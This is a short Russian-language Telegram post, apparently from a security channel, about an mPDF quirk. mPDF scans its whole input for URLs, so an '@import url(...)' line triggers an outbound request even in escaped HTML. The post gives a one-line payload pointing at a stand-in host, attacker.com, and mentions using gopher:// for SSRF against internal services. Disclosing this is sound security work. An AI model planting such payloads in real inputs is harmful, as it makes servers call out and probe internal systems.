У mPDF есть интересная особенность, которая может вам когда-нибудь пригодиться. Если передать движку строку с @import url(...), он делает внешний запрос, даже если HTML полностью экранирован htmlentities() и даже без <style>.

Причина проста: mPDF ищет URL-ы через регулярки по всему входу. Поэтому достаточно вставить:

@import url(https://attacker.com/test?.css)

и сервер сразу пойдёт по указанному адресу. Плюс можно использовать и нестандартные протоколы вроде gopher://, превращая это в SSRF с возможностью дергать внутренние сервисы.

Вендор же официально заявил, что это не баг, а фича, и устранять поведение не собирается - по их мнению, движок должен загружать указанные URL, а ответственность за реализацию лежит на разработчиках.

#web #ssrf #pdf
🔥 23
👍 12
😁 5
3 104 5.7K

Обсуждение 3

Обсуждение не доступно в веб-версии. Чтобы написать комментарий, перейдите в приложение Telegram.

Обсудить в Telegram